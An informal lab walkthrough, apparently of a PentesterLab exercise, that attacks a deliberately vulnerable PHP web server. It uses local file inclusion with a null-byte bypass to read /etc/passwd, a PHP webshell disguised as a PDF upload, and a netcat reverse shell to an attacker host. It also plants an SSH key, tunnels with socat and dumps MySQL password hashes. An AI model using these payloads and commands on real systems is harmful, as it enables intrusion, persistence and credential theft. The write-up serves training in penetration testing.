This one is pretty fun, guys. You get to bust out a bunch of shells.
As an aside, anywhere you see attackerip or vulnerableip… use the IP for your relevant machine. You could also setup your hosts file to do this for you but who has the time.
Step 1: Inspect HTTP headers using telnet or a proxy (Burpsuite)
telnet vulnerableip 80 HEAD / HTTP/1.1 Host: vulnerableip
HTTP/1.1 200 OK Date: Mon, 13 Mar 2017 02:45:02 GMT Server: Apache/2.2.16 (Debian) X-Powered-By: PHP/5.3.2 Vary: Accept-Encoding Content-Type: text/html
Step 2: Use Nikto to find weird stuff
Among other things, we find an old version of Apache, and indications of file inclusion.
nikto -h vulnerableip
+ Server: Apache/2.2.16 (Debian) + Retrieved x-powered-by header: PHP/5.3.2 + The anti-clickjacking X-Frame-Options header is not present. + Apache/2.2.16 appears to be outdated (current is at least Apache/2.2.22). Apache 1.3.42 (final release) and 2.0.64 are also current. + OSVDB-630: IIS may reveal its internal or real IP in the Location header via a request to the /images directory. The value is "http://127.0.0.1/images/". + DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/library/e8z01xdh%28VS.80%29.aspx for details. + /index.php?page=../../../../../../../../../../etc/passwd: PHP include error may indicate local or remote file inclusion is possible. + /index.php?page=../../../../../../../../../../boot.ini: PHP include error may indicate local or remote file inclusion is possible. + Uncommon header 'tcn' found, with contents: choice + OSVDB-3126: /submit?setoption=q&option=allowed_ips&value=255.255.255.255: MLdonkey 2.x allows administrative interface access to be access from any IP. This is typically only found on port 4080. + OSVDB-12184: /index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. + OSVDB-3092: /login/: This might be interesting... + OSVDB-3268: /icons/: Directory indexing found. + OSVDB-3268: /images/: Directory indexing found. + OSVDB-3268: /images/?pattern=/etc/*&sort=name: Directory indexing found. + Server leaks inodes via ETags, header found with file /icons/README, inode: 3450, size: 5108, mtime: 0x438c0358aae80 + OSVDB-3233: /icons/README: Apache default file found. + /index.php?module=PostWrap&page=http://cirt.net/rfiinc.txt?: PHP include error may indicate local or remote file inclusion is possible. + /index.php?page=http://cirt.net/rfiinc.txt?: PHP include error may indicate local or remote file inclusion is possible. + /index.php?page=http://cirt.net/rfiinc.txt?%00: PHP include error may indicate local or remote file inclusion is possible. + /index.php?page=http://cirt.net/rfiinc.txt??: PHP include error may indicate local or remote file inclusion is possible. + /index.php?page[path]=http://cirt.net/rfiinc.txt??&cmd=ls: PHP include error may indicate local or remote file inclusion is possible. + /login.php: Admin login page/section found. + 6544 items checked: 0 error(s) and 22 item(s) reported on remote host + End Time: 2017-03-13 12:47:09 (GMT10) (15 seconds)
Step 3: Investigate weird stuff
When we go to http://vulnerableip/index.php?page=../../../../../../../../../../etc/passwd we get this error:
Warning: include(../../../../../../../../../../etc/passwd.php): failed to open stream: No such file or directory in /var/www/index.php on line 28 Warning: include(): Failed opening ‘../../../../../../../../../../etc/passwd.php’ for inclusion (include_path=’.:’) in /var/www/index.php on line 28
Error messages tend to be quite helpful when we’re hunting for includes, and it helps us understand what’s happening here: Note that a .php has been appended to what we dropped in. I don’t want that, so I tried adding a null terminator string.
http://vulnerableip/index.php?page=../../../../../../../../../../etc/passwd%00 gets us:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh mysql:x:101:103:MySQL Server,,,:/var/lib/mysql:/bin/false sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin user:x:1000:1000:Debian Live user,,,:/home/user:/bin/bash
AKA a successful dump.
We can test for a remote file include by using one of our own servers. I can’t be bothered spinning up another VM so I just tried: http://vulnerableip/index.php?page=http://www.google.com/?
We get an error, so I’m gonna shrug, carry on, and focus on local file inclusion.
Basically, we have to find a way to get a shell on the server. What’s this…? A handy submissions page that accepts PDF uploads. Mess around with it and you’ll find there are some restrictions on upload. The trick here is to create your PHP shell as a PDF file (aka ‘vim shell.pdf’). It should look like this:
%PDF-1.4 <?php system($_GET["cmd"]); ?>
If you’re using Linux you can type file shell.pdf to confirm that it all worked. If you’re using Windows, I don’t know what the quickest/easiest way to do it will be, but PHP scripting is an option – look at echo mime_content_type.
Anyway, the ultimate goal with this is getting around the upload restriction. The PDF header should work. You should be able to upload it. Once it’s up, we have a limited webshell. See? Go here:
You should see:
%PDF-1.4 classes css footer.php header.php images index.php login.php main.php show.php submit.php uploads
Other good commands to feed in are pwd, whoami, and ls -R.
Now, let’s set up some shells.
Reverse shell: Netcat
On your attacking machine you’ll type:
sudo nc -nlvp 6667
On your attacking machine you’ll see:
Listening on [0.0.0.0] (family 0, port 6667)
In your browser you’ll go to: http://vulnerableip/index.php?page=uploads/shell.pdf%00&cmd=nc%20attackerip%206667%20-e%20/bin/bash
On your attacker console you’ll see:
Connection from [vulnerableip] port 6667 [tcp/*] accepted (family 2, sport 43946)
We’re in! We have a reverse shell. Test it with a few basic commands…
uname Linux ls -l total 6 drwxr-xr-x 2 www-data www-data 82 Sep 21 2012 classes drwxr-xr-x 2 www-data www-data 67 Sep 21 2012 css -rwxr-xr-x 1 www-data www-data 182 Sep 21 2012 footer.php -rwxr-xr-x 1 www-data www-data 903 Sep 21 2012 header.php drwxr-xr-x 2 www-data www-data 30 Sep 21 2012 images -rwxr-xr-x 1 www-data www-data 578 Sep 21 2012 index.php -rwxr-xr-x 1 www-data www-data 463 Sep 21 2012 login.php -rwxr-xr-x 1 www-data www-data 938 Sep 21 2012 main.php -rwxr-xr-x 1 www-data www-data 447 Sep 21 2012 show.php -rwxr-xr-x 1 www-data www-data 832 Sep 21 2012 submit.php drwxr-xr-x 2 www-data www-data 60 Mar 13 04:09 uploads pwd /var/www
Like I mentioned: I also like to run an ls -R to get an overview each directory’s contents, but the output here is massive so I won’t paste it in.
Boom. Right? Right.
So far we’ve been able to get a limited web shell and a reverse shell. But wait, there’s more. We can get an even more feature-rich shell with TCP-redirection via socat. This tool allows you to set up all kinds of socket connections – you can tunnel from a local port to a remote service, from a plaintext connection to an SSL endpoint and heaps more (which I don’t understand yet).
Because I’m writing this with the benefit of hindsight, I know I need keys on the vulnerable server. To save you from killing and restarting your reverse shell connection while you figure this out, I’m putting this step here, but even in the Pentester Lab write-up it happens later on.
On your vulnerable machine, set up a home for the keys:
id or whoami to find your logged in user (www-data)
On your local/attacker machine, create the keys:
ssh-keygen -P "" -f vulnerable cat vulnerable.pub
Copy/paste the output from there into this:
echo "output of cat vulnerable.pub goes here..." >> ~www-data/.ssh/authorized_keys
TCP redirection: Socat
We’re going to tunnel a connection from one port to another. Anything that connects to our attacking machine on port 4431 will end up at port 2222.
Into your attack console:
sudo socat TCP4-LISTEN:4431,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr
Here we link port 22 on the vulnerable machine to port 4431 on the attacker machine.
Into your vulnerable shell:
while true; do socat TCP4:attackerip:4431 TCP4:127.0.0.1:22 ; done
Because we set up our keys earlier, we can log into our port 2222:
ssh localhost -p 2222 -l www-data -i vulnerable
Should get you something like this:
The authenticity of host '[localhost]:2222 ([127.0.0.1]:2222)' can't be established. RSA key fingerprint is SHA256:RKUPUyu00Ct9MvRWINWjb2xw6Z6KGZtPpPJthfsZSAQ. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '[localhost]:2222' (RSA) to the list of known hosts. Linux debian 2.6.32-5-686 #1 SMP Sun May 6 04:01:19 UTC 2012 i686 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. $ ls classes footer.php images login.php show.php uploads css header.php index.php main.php submit.php $
Now we want to associate a remote SQL service on the vulnerable host with our host. Exit your SSH session, send this:
ssh localhost -p 2222 -l www-data -i vulnerable -L 13306:localhost:3306
Linux debian 2.6.32-5-686 #1 SMP Sun May 6 04:01:19 UTC 2012 i686 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Mon Mar 13 11:00:05 2017 from localhost
Now we can execute a local mysql command on port 13306. Note that if your mysql installation has a root password, you’ll need to add it here:
mysql -h localhost -u root -P 13306
Once we’re in we can show databases, use databases, show tables, show columns and select data from tables.
Stuff like this:
mysql> select host,user,authentication_string from user; +-----------+------------------+-------------------------------------------+ | host | user | authentication_string | +-----------+------------------+-------------------------------------------+ | localhost | root | *3271D75DC0A824DEE230B8EBF407673378F9345B | | localhost | mysql.sys | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE | | localhost | debian-sys-maint | *DE2FFC2242048479C2A43B173A499C5C346155E4 | +-----------+------------------+-------------------------------------------+